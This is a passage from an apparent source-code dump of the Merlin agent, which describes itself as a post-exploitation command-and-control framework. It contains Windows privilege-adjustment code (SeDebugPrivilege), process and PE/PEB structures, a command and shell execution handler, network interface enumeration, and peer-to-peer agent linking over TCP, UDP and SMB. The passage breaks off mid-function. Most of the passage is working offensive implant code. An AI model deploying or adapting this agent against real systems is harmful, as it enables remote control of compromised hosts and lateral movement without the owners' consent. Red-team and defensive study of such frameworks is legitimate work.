process.ProcessID == pid {\n\t\t\t\treturn processName, pid, nil\n\t\t\t}\n\t\t} else if name != \"\" {\n\t\t\tif processName == name {\n\t\t\t\treturn name, process.ProcessID, nil\n\t\t\t}\n\t\t}\n\t\terr = syscall.Process32Next(snapshotHandle, &process)\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn \"\", 0, fmt.Errorf(\"could not find a procces with the supplied name \\\"%s\\\" or PID of \\\"%d\\\"\", name, pid)\n}\n\n// sePrivEnable adjusts the privileges of the current process to add the passed in string. Good for setting 'SeDebugPrivilege'\nfunc sePrivEnable(s string) error {\n\ttype LUID struct {\n\t\tLowPart  uint32\n\t\tHighPart int32\n\t}\n\ttype LUID_AND_ATTRIBUTES struct {\n\t\tLuid       LUID\n\t\tAttributes uint32\n\t}\n\ttype TOKEN_PRIVILEGES struct {\n\t\tPrivilegeCount uint32\n\t\tPrivileges     [1]LUID_AND_ATTRIBUTES\n\t}\n\n\tmodadvapi32 := windows.NewLazySystemDLL(\"advapi32.dll\")\n\tprocAdjustTokenPrivileges := modadvapi32.NewProc(\"AdjustTokenPrivileges\")\n\n\tprocLookupPriv := modadvapi32.NewProc(\"LookupPrivilegeValueW\")\n\tvar tokenHandle syscall.Token\n\tthsHandle, err := syscall.GetCurrentProcess()\n\tif err != nil {\n\t\treturn err\n\t}\n\tsyscall.OpenProcessToken(\n\t\t//r, a, e := procOpenProcessToken.Call(\n\t\tthsHandle,                       //  HANDLE  ProcessHandle,\n\t\tsyscall.TOKEN_ADJUST_PRIVILEGES, //\tDWORD   DesiredAccess,\n\t\t&tokenHandle,                    //\tPHANDLE TokenHandle\n\t)\n\tvar luid LUID\n\tr, _, e := procLookupPriv.Call(\n\t\tuintptr(0), //LPCWSTR lpSystemName,\n\t\tuintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(s))), //LPCWSTR lpName,\n\t\tuintptr(unsafe.Pointer(&luid)),                       //PLUID   lpLuid\n\t)\n\tif r == 0 {\n\t\treturn e\n\t}\n\tSE_PRIVILEGE_ENABLED := uint32(0x00000002)\n\tprivs := TOKEN_PRIVILEGES{}\n\tprivs.PrivilegeCount = 1\n\tprivs.Privileges[0].Luid = luid\n\tprivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED\n\t//AdjustTokenPrivileges(hToken, false, &priv, 0, 0, 0)\n\tr, _, e = procAdjustTokenPrivileges.Call(\n\t\tuintptr(tokenHandle),\n\t\tuintptr(0),\n\t\tuintptr(unsafe.Pointer(&privs)),\n\t\tuintptr(0),\n\t\tuintptr(0),\n\t\tuintptr(0),\n\t)\n\tif r == 0 {\n\t\treturn e\n\t}\n\treturn nil\n}\n\n// PEB is the Process Environment Block structure that contains information about a process\n// https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb\n// https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37\n// http://bytepointer.com/resources/tebpeb32.htm\n// https://www.nirsoft.net/kernel_struct/vista/PEB.html\ntype PEB struct {\n\t//reserved1              [2]byte     // BYTE 0-1\n\tInheritedAddressSpace    byte    // BYTE\t0\n\tReadImageFileExecOptions byte    // BYTE\t1\n\tBeingDebugged            byte    // BYTE\t2\n\treserved2                [1]byte // BYTE 3\n\t// ImageUsesLargePages          : 1;   //0x0003:0 (WS03_SP1+)\n\t// IsProtectedProcess           : 1;   //0x0003:1 (Vista+)\n\t// IsLegacyProcess              : 1;   //0x0003:2 (Vista+)\n\t// IsImageDynamicallyRelocated  : 1;   //0x0003:3 (Vista+)\n\t// SkipPatchingUser32Forwarders : 1;   //0x0003:4 (Vista_SP1+)\n\t// IsPackagedProcess            : 1;   //0x0003:5 (Win8_BETA+)\n\t// IsAppContainer               : 1;   //0x0003:6 (Win8_RTM+)\n\t// SpareBit                     : 1;   //0x0003:7\n\t//reserved3              [2]uintptr  // PVOID BYTE 4-8\n\tMutant                 uintptr     // BYTE 4\n\tImageBaseAddress       uintptr     // BYTE 8\n\tLdr                    uintptr     // PPEB_LDR_DATA\n\tProcessParameters      uintptr     // PRTL_USER_PROCESS_PARAMETERS\n\treserved4              [3]uintptr  // PVOID\n\tAtlThunkSListPtr       uintptr     // PVOID\n\treserved5              uintptr     // PVOID\n\treserved6              uint32      // ULONG\n\treserved7              uintptr     // PVOID\n\treserved8              uint32      // ULONG\n\tAtlThunkSListPtr32     uint32      // ULONG\n\treserved9              [45]uintptr // PVOID\n\treserved10             [96]byte    // BYTE\n\tPostProcessInitRoutine uintptr     // PPS_POST_PROCESS_INIT_ROUTINE\n\treserved11             [128]byte   // BYTE\n\treserved12             [1]uintptr  // PVOID\n\tSessionId              uint32      // ULONG\n}\n\n// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77\ntype PROCESS_BASIC_INFORMATION struct {\n\treserved1                    uintptr    // PVOID\n\tPebBaseAddress               uintptr    // PPEB\n\treserved2                    [2]uintptr // PVOID\n\tUniqueProcessId              uintptr    // ULONG_PTR\n\tInheritedFromUniqueProcessID uintptr    // PVOID\n}\n\n// Read the child program's DOS header and validate it is a MZ executable\ntype IMAGE_DOS_HEADER struct {\n\tMagic    uint16     // USHORT Magic number\n\tCblp     uint16     // USHORT Bytes on last page of file\n\tCp       uint16     // USHORT Pages in file\n\tCrlc     uint16     // USHORT Relocations\n\tCparhdr  uint16     // USHORT Size of header in paragraphs\n\tMinAlloc uint16     // USHORT Minimum extra paragraphs needed\n\tMaxAlloc uint16     // USHORT Maximum extra paragraphs needed\n\tSS       uint16     // USHORT Initial (relative) SS value\n\tSP       uint16     // USHORT Initial SP value\n\tCSum     uint16     // USHORT Checksum\n\tIP       uint16     // USHORT Initial IP value\n\tCS       uint16     // USHORT Initial (relative) CS value\n\tLfaRlc   uint16     // USHORT File address of relocation table\n\tOvno     uint16     // USHORT Overlay number\n\tRes      [4]uint16  // USHORT Reserved words\n\tOEMID    uint16     // USHORT OEM identifier (for e_oeminfo)\n\tOEMInfo  uint16     // USHORT OEM information; e_oemid specific\n\tRes2     [10]uint16 // USHORT Reserved words\n\tLfaNew   int32      // LONG File address of new exe header\n}\n\n// Read the child process's PE file header\n/*\n\ttypedef struct _IMAGE_FILE_HEADER {\n\t\tUSHORT  Machine;\n\t\tUSHORT  NumberOfSections;\n\t\tULONG   TimeDateStamp;\n\t\tULONG   PointerToSymbolTable;\n\t\tULONG   NumberOfSymbols;\n\t\tUSHORT  SizeOfOptionalHeader;\n\t\tUSHORT  Characteristics;\n\t} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;\n*/\n\ntype IMAGE_FILE_HEADER struct {\n\tMachine              uint16\n\tNumberOfSections     uint16\n\tTimeDateStamp        uint32\n\tPointerToSymbolTable uint32\n\tNumberOfSymbols      uint32\n\tSizeOfOptionalHeader uint16\n\tCharacteristics      uint16\n}\n\n// Read the child process's PE optional header to find it's entry point\n/*\n\thttps://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64\n\ttypedef struct _IMAGE_OPTIONAL_HEADER64 {\n\tWORD                 Magic;\n\tBYTE                 MajorLinkerVersion;\n\tBYTE                 MinorLinkerVersion;\n\tDWORD                SizeOfCode;\n\tDWORD                SizeOfInitializedData;\n\tDWORD                SizeOfUninitializedData;\n\tDWORD                AddressOfEntryPoint;\n\tDWORD                BaseOfCode;\n\tULONGLONG            ImageBase;\n\tDWORD                SectionAlignment;\n\tDWORD                FileAlignment;\n\tWORD                 MajorOperatingSystemVersion;\n\tWORD                 MinorOperatingSystemVersion;\n\tWORD                 MajorImageVersion;\n\tWORD                 MinorImageVersion;\n\tWORD                 MajorSubsystemVersion;\n\tWORD                 MinorSubsystemVersion;\n\tDWORD                Win32VersionValue;\n\tDWORD                SizeOfImage;\n\tDWORD                SizeOfHeaders;\n\tDWORD                CheckSum;\n\tWORD                 Subsystem;\n\tWORD                 DllCharacteristics;\n\tULONGLONG            SizeOfStackReserve;\n\tULONGLONG            SizeOfStackCommit;\n\tULONGLONG            SizeOfHeapReserve;\n\tULONGLONG            SizeOfHeapCommit;\n\tDWORD                LoaderFlags;\n\tDWORD                NumberOfRvaAndSizes;\n\tIMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];\n\t} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;\n*/\n\ntype IMAGE_OPTIONAL_HEADER64 struct {\n\tMagic                       uint16\n\tMajorLinkerVersion          byte\n\tMinorLinkerVersion          byte\n\tSizeOfCode                  uint32\n\tSizeOfInitializedData       uint32\n\tSizeOfUninitializedData     uint32\n\tAddressOfEntryPoint         uint32\n\tBaseOfCode                  uint32\n\tImageBase                   uint64\n\tSectionAlignment            uint32\n\tFileAlignment               uint32\n\tMajorOperatingSystemVersion uint16\n\tMinorOperatingSystemVersion uint16\n\tMajorImageVersion           uint16\n\tMinorImageVersion           uint16\n\tMajorSubsystemVersion       uint16\n\tMinorSubsystemVersion       uint16\n\tWin32VersionValue           uint32\n\tSizeOfImage                 uint32\n\tSizeOfHeaders               uint32\n\tCheckSum                    uint32\n\tSubsystem                   uint16\n\tDllCharacteristics          uint16\n\tSizeOfStackReserve          uint64\n\tSizeOfStackCommit           uint64\n\tSizeOfHeapReserve           uint64\n\tSizeOfHeapCommit            uint64\n\tLoaderFlags                 uint32\n\tNumberOfRvaAndSizes         uint32\n\tDataDirectory               uintptr\n}\n\n/*\n\thttps://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32\n\ttypedef struct _IMAGE_OPTIONAL_HEADER {\n\tWORD                 Magic;\n\tBYTE                 MajorLinkerVersion;\n\tBYTE                 MinorLinkerVersion;\n\tDWORD                SizeOfCode;\n\tDWORD                SizeOfInitializedData;\n\tDWORD                SizeOfUninitializedData;\n\tDWORD                AddressOfEntryPoint;\n\tDWORD                BaseOfCode;\n\tDWORD                BaseOfData;\n\tDWORD                ImageBase;\n\tDWORD                SectionAlignment;\n\tDWORD                FileAlignment;\n\tWORD                 MajorOperatingSystemVersion;\n\tWORD                 MinorOperatingSystemVersion;\n\tWORD                 MajorImageVersion;\n\tWORD                 MinorImageVersion;\n\tWORD                 MajorSubsystemVersion;\n\tWORD                 MinorSubsystemVersion;\n\tDWORD                Win32VersionValue;\n\tDWORD                SizeOfImage;\n\tDWORD                SizeOfHeaders;\n\tDWORD                CheckSum;\n\tWORD                 Subsystem;\n\tWORD                 DllCharacteristics;\n\tDWORD                SizeOfStackReserve;\n\tDWORD                SizeOfStackCommit;\n\tDWORD                SizeOfHeapReserve;\n\tDWORD                SizeOfHeapCommit;\n\tDWORD                LoaderFlags;\n\tDWORD                NumberOfRvaAndSizes;\n\tIMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];\n\t} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;\n*/\n\ntype IMAGE_OPTIONAL_HEADER32 struct {\n\tMagic                       uint16\n\tMajorLinkerVersion          byte\n\tMinorLinkerVersion          byte\n\tSizeOfCode                  uint32\n\tSizeOfInitializedData       uint32\n\tSizeOfUninitializedData     uint32\n\tAddressOfEntryPoint         uint32\n\tBaseOfCode                  uint32\n\tBaseOfData                  uint32 // Different from 64 bit header\n\tImageBase                   uint64\n\tSectionAlignment            uint32\n\tFileAlignment               uint32\n\tMajorOperatingSystemVersion uint16\n\tMinorOperatingSystemVersion uint16\n\tMajorImageVersion           uint16\n\tMinorImageVersion           uint16\n\tMajorSubsystemVersion       uint16\n\tMinorSubsystemVersion       uint16\n\tWin32VersionValue           uint32\n\tSizeOfImage                 uint32\n\tSizeOfHeaders               uint32\n\tCheckSum                    uint32\n\tSubsystem                   uint16\n\tDllCharacteristics          uint16\n\tSizeOfStackReserve          uint64\n\tSizeOfStackCommit           uint64\n\tSizeOfHeapReserve           uint64\n\tSizeOfHeapCommit            uint64\n\tLoaderFlags                 uint32\n\tNumberOfRvaAndSizes         uint32\n\tDataDirectory               uintptr\n}\n"
  },
  {
    "path": "commands/execute.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"fmt\"\n\n\t// Merlin Main\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// ExecuteCommand runs the provided input program and arguments, returning results in a message base\nfunc ExecuteCommand(cmd jobs.Command) jobs.Results {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Received input parameter for executeCommand function: %+v\", cmd))\n\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"Executing command: %s %s\", cmd.Command, cmd.Args))\n\n\tvar results jobs.Results\n\tif cmd.Command == \"shell\" {\n\t\tresults.Stdout, results.Stderr = shell(cmd.Args)\n\t} else {\n\t\tresults.Stdout, results.Stderr = executeCommand(cmd.Command, cmd.Args)\n\t}\n\n\tif results.Stderr != \"\" {\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"There was an error executing the command: %s %s\", cmd.Command, cmd.Args))\n\t\tcli.Message(cli.SUCCESS, results.Stdout)\n\t\tcli.Message(cli.WARN, fmt.Sprintf(\"Error: %s\", results.Stderr))\n\n\t} else {\n\t\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"Command output:\\r\\n\\r\\n%s\", results.Stdout))\n\t}\n\n\treturn results\n}\n"
  },
  {
    "path": "commands/ifconfig.go",
    "content": "//go:build !windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t\"fmt\"\n\t\"net\"\n)\n\n// ifconfig enumerates the network interfaces and their configuration\nfunc ifconfig() (stdout string, err error) {\n\tifaces, err := net.Interfaces()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tfor _, i := range ifaces {\n\t\tstdout += fmt.Sprintf(\"%s\\n\", i.Name)\n\t\tstdout += fmt.Sprintf(\"  MAC Address\\t%s\\n\", i.HardwareAddr.String())\n\t\taddrs, err := i.Addrs()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tfor _, a := range addrs {\n\t\t\tstdout += fmt.Sprintf(\"  IP Address\\t%s\\n\", a.String())\n\t\t}\n\t}\n\treturn stdout, nil\n}\n"
  },
  {
    "path": "commands/ifconfig_windows.go",
    "content": "//go:build windows\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/package commands\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"syscall\"\n\t\"unsafe\"\n)\n\n// ifconfig enumerates the network interfaces and their configuration\n// Much of this is ripped from interface_windows.go\nfunc ifconfig() (stdout string, err error) {\n\tfSize := uint32(0)\n\tb := make([]byte, 1000)\n\n\tifaces, err := net.Interfaces()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tvar adapterInfo *syscall.IpAdapterInfo\n\tadapterInfo = (*syscall.IpAdapterInfo)(unsafe.Pointer(&b[0]))\n\terr = syscall.GetAdaptersInfo(adapterInfo, &fSize)\n\n\t// Call it once to see how much data you need in fSize\n\tif err == syscall.ERROR_BUFFER_OVERFLOW {\n\t\tb := make([]byte, fSize)\n\t\tadapterInfo = (*syscall.IpAdapterInfo)(unsafe.Pointer(&b[0]))\n\t\terr = syscall.GetAdaptersInfo(adapterInfo, &fSize)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\tfor _, iface := range ifaces {\n\t\tfor ainfo := adapterInfo; ainfo != nil; ainfo = ainfo.Next {\n\t\t\tif int(ainfo.Index) == iface.Index {\n\t\t\t\tstdout += fmt.Sprintf(\"%s\\n\", iface.Name)\n\t\t\t\tstdout += fmt.Sprintf(\"  MAC Address\\t%s\\n\", iface.HardwareAddr.String())\n\t\t\t\tipentry := &ainfo.IpAddressList\n\t\t\t\tfor ; ipentry != nil; ipentry = ipentry.Next {\n\t\t\t\t\tstdout += fmt.Sprintf(\"  IP Address\\t%s\\n\", ipentry.IpAddress.String)\n\t\t\t\t\tstdout += fmt.Sprintf(\"  Subnet Mask\\t%s\\n\", ipentry.IpMask.String)\n\t\t\t\t}\n\t\t\t\tgateways := &ainfo.GatewayList\n\t\t\t\tfor ; gateways != nil; gateways = gateways.Next {\n\t\t\t\t\tstdout += fmt.Sprintf(\"  Gateway\\t%s\\n\", gateways.IpAddress.String)\n\t\t\t\t}\n\n\t\t\t\tif ainfo.DhcpEnabled != 0 {\n\t\t\t\t\tstdout += fmt.Sprintf(\"  DHCP\\t\\tEnabled\\n\")\n\t\t\t\t\tdhcpServers := &ainfo.DhcpServer\n\t\t\t\t\tfor ; dhcpServers != nil; dhcpServers = dhcpServers.Next {\n\t\t\t\t\t\tstdout += fmt.Sprintf(\"  DHCP Server:\\t%s\\n\", dhcpServers.IpAddress.String)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tstdout += fmt.Sprintf(\"  DHCP\\t\\tDisabled\\n\")\n\t\t\t\t}\n\t\t\t\tstdout += \"\\n\"\n\t\t\t}\n\t\t}\n\t}\n\n\treturn stdout, nil\n}\n"
  },
  {
    "path": "commands/link.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage commands\n\nimport (\n\t// Standard\n\t\"bytes\"\n\t\"encoding/base64\"\n\t\"encoding/binary\"\n\t\"encoding/gob\"\n\t\"fmt\"\n\t\"math\"\n\t\"math/rand\"\n\t\"net\"\n\t\"strings\"\n\t\"time\"\n\n\t// 3rd Party\n\t\"github.com/google/uuid\"\n\n\t// Merlin\n\t\"github.com/Ne0nd0g/merlin-message\"\n\t\"github.com/Ne0nd0g/merlin-message/jobs\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/core\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/p2p\"\n\tp2pService \"github.com/Ne0nd0g/merlin-agent/v2/services/p2p\"\n)\n\n// peerToPeerService is used to work with peer-to-peer Agent connections/link to include handling or getting Delegate messages\nvar peerToPeerService *p2pService.Service\n\nfunc init() {\n\tpeerToPeerService = p2pService.NewP2PService()\n}\n\n// Link connects to the provided target over the provided protocol and establishes a peer-to-peer connection with the Agent\nfunc Link(cmd jobs.Command) (results jobs.Results) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/link.Link(): entering into function with %+v\", cmd))\n\n\tif len(cmd.Args) < 1 {\n\t\treturn jobs.Results{Stderr: fmt.Sprintf(\"expected 1 argument with the link command, received %d: %+v\", len(cmd.Args), cmd.Args)}\n\t}\n\n\t// switch on first argument\n\tswitch strings.ToLower(cmd.Args[0]) {\n\tcase \"list\":\n\t\tresults.Stdout = peerToPeerService.List()\n\t\treturn\n\tcase \"tcp\":\n\t\tif len(cmd.Args) < 2 {\n\t\t\treturn jobs.Results{Stderr: fmt.Sprintf(\"expected 2 arguments with the link tcp command, received %d: %+v\", len(cmd.Args), cmd.Args)}\n\t\t}\n\t\treturn Connect(\"tcp\", cmd.Args[1:])\n\tcase \"udp\":\n\t\tif len(cmd.Args) < 2 {\n\t\t\treturn jobs.Results{Stderr: fmt.Sprintf(\"expected 2 arguments with the link udp command, received %d: %+v\", len(cmd.Args), cmd.Args)}\n\t\t}\n\t\treturn Connect(\"udp\", cmd.Args[1:])\n\tcase \"smb\":\n\t\tif len(cmd.Args) < 3 {\n\t\t\treturn jobs.Results{Stderr: fmt.Sprintf(\"expected 2 arguments with the link smb command, received %d: %+v\\n Example: link smb 192.168.1.1 merlinPipe\", len(cmd.Args), cmd.Args)}\n\t\t}\n\t\treturn ConnectSMB(cmd.Args[1], cmd.Args[2])\n\tcase \"refresh\":\n\t\tresults.Stdout = peerToPeerService.Refresh()\n\t\treturn\n\tcase \"remove\":\n\t\tif len(cmd.Args) < 2 {\n\t\t\treturn jobs.Results{Stderr: fmt.Sprintf(\"expected 2 arguments with the link remove command, received %d: %+v\\n Example: link remove 8ee688aa-de70-47ea-9a54-155524b2b1c6\", len(cmd.Args), cmd.Args)}\n\t\t}\n\t\t// Validate that the provided ID is a valid UUID\n\t\tid, err := uuid.Parse(cmd.Args[1])\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"commands/link.Link(): there was an error converting %s to a valid UUID for the link remove command: %s\", cmd.Args[1], err)\n\t\t\treturn\n\t\t}\n\t\terr = peerToPeerService.Remove(id)\n\t\tif err != nil {\n\t\t\tresults.Stderr = fmt.Sprintf(\"commands/link.Link(): there was an error removing the link: %s\", err)\n\t\t\treturn\n\t\t}\n\t\tresults.Stdout = fmt.Sprintf(\"Successfully removed P2P link for %s\", id)\n\t\treturn\n\tdefault:\n\t\treturn jobs.Results{\n\t\t\tStderr: fmt.Sprintf(\"Unhandled link type: %s\", cmd.Args[0]),\n\t\t}\n\t}\n}\n\n// Connect establishes a TCP or UDP connection to a tcp-bind or udp-bind peer-to-peer Agent\nfunc Connect(network string, args []string) (results jobs.Results) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/link.Connect(): entering into function with network: %s, args: %+v\", network, args))\n\n\tvar linkType int\n\tswitch strings.ToLower(network) {\n\tcase \"tcp\":\n\t\tlinkType = p2p.TCPBIND\n\tcase \"udp\":\n\t\tlinkType = p2p.UDPBIND\n\t}\n\n\t// args[0] = target (e.g., 192.168.1.10:8080)\n\tif len(args) <= 0 {\n\t\tresults.Stderr = fmt.Sprintf(\"Expected 1 argument, received %d\", len(args))\n\t\treturn\n\t}\n\n\t// See if there is already a link or connection to the target IP & Port\n\tlink, ok := peerToPeerService.Connected(linkType, args[0])\n\tif ok {\n\t\tresults.Stderr = fmt.Sprintf(\"already connected to %s: %s:%s\\n\", link.Remote(), link.String(), link.ID())\n\t\treturn\n\t}\n\n\tvar err error\n\tvar conn net.Conn\n\n\t// Establish connection to downstream agent\n\tswitch linkType {\n\tcase p2p.TCPBIND, p2p.UDPBIND:\n\t\tconn, err = net.Dial(network, args[0])\n\tdefault:\n\t\terr = fmt.Errorf(\"unhandled linked Agent type: %d\", linkType)\n\t}\n\n\tif err != nil {\n\t\tresults.Stderr = fmt.Sprintf(\"commands/link.Connect(): there was an error attempting to link the agent: %s\", err.Error())\n\t\treturn\n\t}\n\n\tvar n int\n\n\t// We must first write data to the UDP connection to let the UDP bind Agent know we're listening and ready\n\tif linkType == p2p.UDPBIND {\n\t\tjunk := core.RandStringBytesMaskImprSrc(rand.Intn(100)) // #nosec G404 random number is not used for secrets\n\t\tb64 := make([]byte, base64.StdEncoding.EncodedLen(len(junk)))\n\t\tbase64.StdEncoding.Encode(b64, []byte(junk))\n\n\t\t// Add in Tag/Type and Length for TLV\n\t\ttag := make([]byte, 4)\n\t\tbinary.BigEndian.PutUint32(tag, 1)\n\t\tlength := make([]byte, 8)\n\t\tbinary.BigEndian.PutUint64(length, uint64(len(b64)))\n\n\t\t// Create TLV\n\t\toutData := append(tag, length...)\n\t\toutData = append(outData, b64...)\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/link.Connect(): Added Tag: %d and Length: %d to data size of %d\", tag, len(b64), len(outData)))\n\n\t\t// Determine number of fragments based on MaxSize\n\t\tMaxSize := 1450\n\t\tfragments := int(math.Ceil(float64(len(outData)) / float64(MaxSize)))\n\n\t\t// Write the message\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Initiating UDP connection to %s sending junk data: %s\", conn.RemoteAddr(), junk))\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Writing message size %d bytes equaling %d fragments to %s at %s\", len(outData), fragments, conn.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))\n\t\tvar m int\n\t\tvar i int\n\t\tsize := len(outData)\n\t\tfor i < fragments {\n\t\t\tstart := i * MaxSize\n\t\t\tvar stop int\n\t\t\t// if bytes remaining are less than max size, read until the end\n\t\t\tif size < MaxSize {\n\t\t\t\tstop = len(outData)\n\t\t\t} else {\n\t\t\t\tstop = (i + 1) * MaxSize\n\t\t\t}\n\t\t\tm, err = conn.Write(outData[start:stop])\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/link.Connect(): Wrote %d bytes to connection %s at %s\", m, conn.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))\n\t\t\tif err != nil {\n\t\t\t\tresults.Stderr = fmt.Sprintf(\"commands/link.Connect(): there was an error writing data to the UDP connection: %s\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\ti++\n\t\t\tsize = size - MaxSize\n\t\t\t// UDP packets seemed to get dropped if too many are sent too fast\n\t\t\tif fragments > 100 {\n\t\t\t\ttime.Sleep(time.Millisecond * 10)\n\t\t\t}\n\t\t}\n\t\t// Wait for linked agent first checking message\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Waiting to recieve UDP connection from %s at %s...\", conn.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))\n\t}\n\n\tvar tag uint32\n\tvar length uint64\n\tvar buff bytes.Buffer\n\tfor {\n\t\tdata := make([]byte, 4096)\n\t\t// Need to have a read on the network connection for data here in this function to retrieve the linked Agent's ID so the linkedAgent structure can be stored\n\t\tn, err = conn.Read(data)\n\t\tif err != nil {\n\t\t\tmsg := fmt.Sprintf(\"there was an error reading data from linked agent %s: %s\", args[0], err)\n\t\t\tresults.Stderr = msg\n\t\t\tcli.Message(cli.WARN, msg)\n\t\t\treturn\n\t\t}\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/link.Connect(): Read %d bytes from linked %s agent %s at %s\", n, p2p.String(linkType), args[0], time.Now().UTC().Format(time.RFC3339)))\n\n\t\t// Add the bytes to the buffer\n\t\tn, err = buff.Write(data[:n])\n\t\tif err != nil {\n\t\t\tmsg := fmt.Sprintf(\"commands/link.Connect(): there was an error writing %d bytes from linked agent into the buffer %s: %s\", n, args[0], err)\n\t\t\tresults.Stderr = msg\n\t\t\tcli.Message(cli.WARN, msg)\n\t\t\treturn\n\t\t}\n\n\t\t// If this is the first read on the connection determine the tag and data length\n\t\tif tag == 0 {\n\t\t\t// Ensure we have enough data to read the tag/type which is 4-bytes\n\t\t\tif buff.Len() < 4 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"commands/link.Connect(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d\", buff.Len()))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ttag = binary.BigEndian.Uint32(data[:4])\n\t\t\tif tag != 1 {\n\t\t\t\tmsg := fmt.Sprintf(\"commands/link.Connect(): Expected a type/tag value of 1 for TLV but got %d\", tag)\n\t\t\t\tresults.Stderr = msg\n\t\t\t\tcli.Message(cli.WARN, msg)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tif length == 0 {\n\t\t\t// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size\n\t\t\tif buff.Len() < 12 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"command/link.Connect(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d\", buff.Len()))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tlength = binary.BigEndian.Uint64(data[4:12])\n\t\t}\n\n\t\t// If we've read all the data according to the length provided in TLV, then break the for loop\n\t\t// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV\n\t\tif uint64(buff.Len()) == length+4+8 {\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"command/link.Connect(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data\", 